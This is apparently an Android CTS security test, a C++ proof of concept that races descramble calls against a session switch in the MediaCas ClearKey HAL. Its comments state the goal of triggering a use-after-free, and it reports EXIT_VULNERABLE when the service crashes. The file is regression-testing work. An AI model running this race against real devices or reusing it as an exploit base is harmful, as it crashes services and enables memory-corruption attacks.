/*
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <android/hardware/cas/1.0/ICas.h>
#include <android/hardware/cas/1.0/IMediaCasService.h>
#include <android/hardware/cas/native/1.0/IDescrambler.h>
#include <binder/MemoryHeapBase.h>
#include <utils/StrongPointer.h>

#include <stdio.h>

#include "../includes/common.h"

using ::android::MemoryHeapBase;
using ::android::sp;
using ::android::hardware::hidl_handle;
using ::android::hardware::hidl_memory;
using ::android::hardware::hidl_string;
using ::android::hardware::hidl_vec;
using ::android::hardware::Return;
using namespace android::hardware::cas::V1_0;
using namespace android::hardware::cas::native::V1_0;

#define CLEARKEY_SYSTEMID (0xF6D8)

#define THREADS_NUM (5)

typedef enum {
  RESULT_CRASH,
  RESULT_SESSION1,
  RESULT_SESSION2,
} thread_result_t;

// Taken from cts/tests/tests/media/src/android/media/cts/MediaCasTest.java
static const char *provision_str =
    "{                                                   "
    "  \"id\": 21140844,                                 "
    "  \"name\": \"Test Title\",                         "
    "  \"lowercase_organization_name\": \"Android\",     "
    "  \"asset_key\": {                                  "
    "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  "
    "  },                                                "
    "  \"cas_type\": 1,                                  "
    "  \"track_types\": [ ]                              "
    "}                                                   ";
static const uint8_t ecm_buffer[] = {
    0x00, 0x00, 0x01, 0xf0, 0x00, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x46, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77, 0x01,
    0x42, 0x95, 0x6c, 0x0e, 0xe3, 0x91, 0xbc, 0xfd, 0x05, 0xb1, 0x60,
    0x4f, 0x17, 0x82, 0xa4, 0x86, 0x9b, 0x23, 0x56, 0x00, 0x01, 0x00,
    0x00, 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77,
    0x01, 0x42, 0x95, 0x6c, 0xd7, 0x43, 0x62, 0xf8, 0x1c, 0x62, 0x19,
    0x05, 0xc7, 0x3a, 0x42, 0xcd, 0xfd, 0xd9, 0x13, 0x48,
};

static sp<IDescrambler> descrambler;
static pthread_barrier_t barrier;

static void *thread_func(void *) {
  // Prepare everything needed for an encrypted run of descramble

  sp<MemoryHeapBase> heap = new MemoryHeapBase(0x1000);

  native_handle_t *handle = native_handle_create(1, 0);
  handle->data[0] = heap->getHeapID();

  SharedBuffer src;
  src.offset = 0;
  src.size = 0x1000;
  src.heapBase = hidl_memory("ashmem", hidl_handle(handle), heap->getSize());

  DestinationBuffer dst;
  dst.type = BufferType::SHARED_MEMORY;
  dst.nonsecureMemory = src;

  hidl_vec<SubSample> subsamples;
  SubSample subsample_arr[0x100] = {
      {.numBytesOfClearData = 0, .numBytesOfEncryptedData = 0x10}};
  subsamples.setToExternal(subsample_arr, 0x100);

  Status descramble_status;

  // Wait for all other threads
  pthread_barrier_wait(&barrier);

  // Run descramble
  Return<void> descramble_result = descrambler->descramble(
      ScramblingControl::EVENKEY, subsamples, src, 0, dst, 0,
      [&](Status status, uint32_t, const hidl_string &) {
        descramble_status = status;
      });

  // Cleanup
  native_handle_delete(handle);

  if (!descramble_result.isOk()) {
    // Service crashed, hurray!
    return (void *)RESULT_CRASH;
  }

  // If descramble was successful then the session had a valid key, so it was
  // session1. Otherwise it was session2.
  return (void *)(descramble_status == Status::OK ? RESULT_SESSION1
                                                  : RESULT_SESSION2);
}

int main() {
  // Prepare cas & descrambler objects

  sp<IMediaCasService> service = IMediaCasService::getService();
  FAIL_CHECK(service != NULL);

  sp<ICas> cas = service->createPlugin(CLEARKEY_SYSTEMID, NULL);
  FAIL_CHECK(cas->provision(provision_str) == Status::OK)

  sp<IDescramblerBase> descramblerBase =
      service->createDescrambler(CLEARKEY_SYSTEMID);
  descrambler = IDescrambler::castFrom(descramblerBase);

  time_t timer = start_timer();
  while (timer_active(timer)) {
    // Prepare sessions
    Status opensession_status;
    hidl_vec<uint8_t> session1;
    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
      opensession_status = status;
      session1 = sessionId;
    });
    FAIL_CHECK(opensession_status == Status::OK);
    // Add a key to the first session. This will make descramble work only on
    // the first session, helping us differentiate between the sessions for
    // debugging.
    hidl_vec<uint8_t> ecm;
    ecm.setToExternal((uint8_t *)ecm_buffer, sizeof(ecm_buffer));
    FAIL_CHECK(cas->processEcm(session1, ecm) == Status::OK);

    hidl_vec<uint8_t> session2;
    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
      opensession_status = status;
      session2 = sessionId;
    });
    FAIL_CHECK(opensession_status == Status::OK);

    // Set the descrambler's session to session1, then close it (and remove it
    // from the sessions map). This way the only reference on the service to
    // session1 will be from descrambler's session.
    FAIL_CHECK(descrambler->setMediaCasSession(session1) == Status::OK);
    FAIL_CHECK(cas->closeSession(session1) == Status::OK);

    // Prepare the threads which run descramble
    FAIL_CHECK(pthread_barrier_init(&barrier, NULL, THREADS_NUM + 1) == 0);
    pthread_t threads[THREADS_NUM];
    for (size_t i = 0; i < THREADS_NUM; i++) {
      FAIL_CHECK(pthread_create(threads + i, NULL, thread_func, NULL) == 0);
    }

    // Let the threads run by waiting on the barrier. This means that past this
    // point all threads will run descramble.
    pthread_barrier_wait(&barrier);

    // While the threads are running descramble, change the descrambler session
    // to session2. Hopefully this will cause a use-after-free through a race
    // condition, session1's reference count will drop to 0 so it will be
    // released, but one thread will still run descramble on the released
    // session.
    FAIL_CHECK(descrambler->setMediaCasSession(session2) == Status::OK);

    // Go over thread results
    for (size_t i = 0; i < THREADS_NUM; i++) {
      thread_result_t thread_result;
      FAIL_CHECK(pthread_join(threads[i], (void **)&thread_result) == 0);
      if (thread_result == RESULT_CRASH) {
        return EXIT_VULNERABLE;
      }
    }

    // Cleanup
    FAIL_CHECK(cas->closeSession(session2) == Status::OK);
    FAIL_CHECK(pthread_barrier_destroy(&barrier) == 0);
  }
}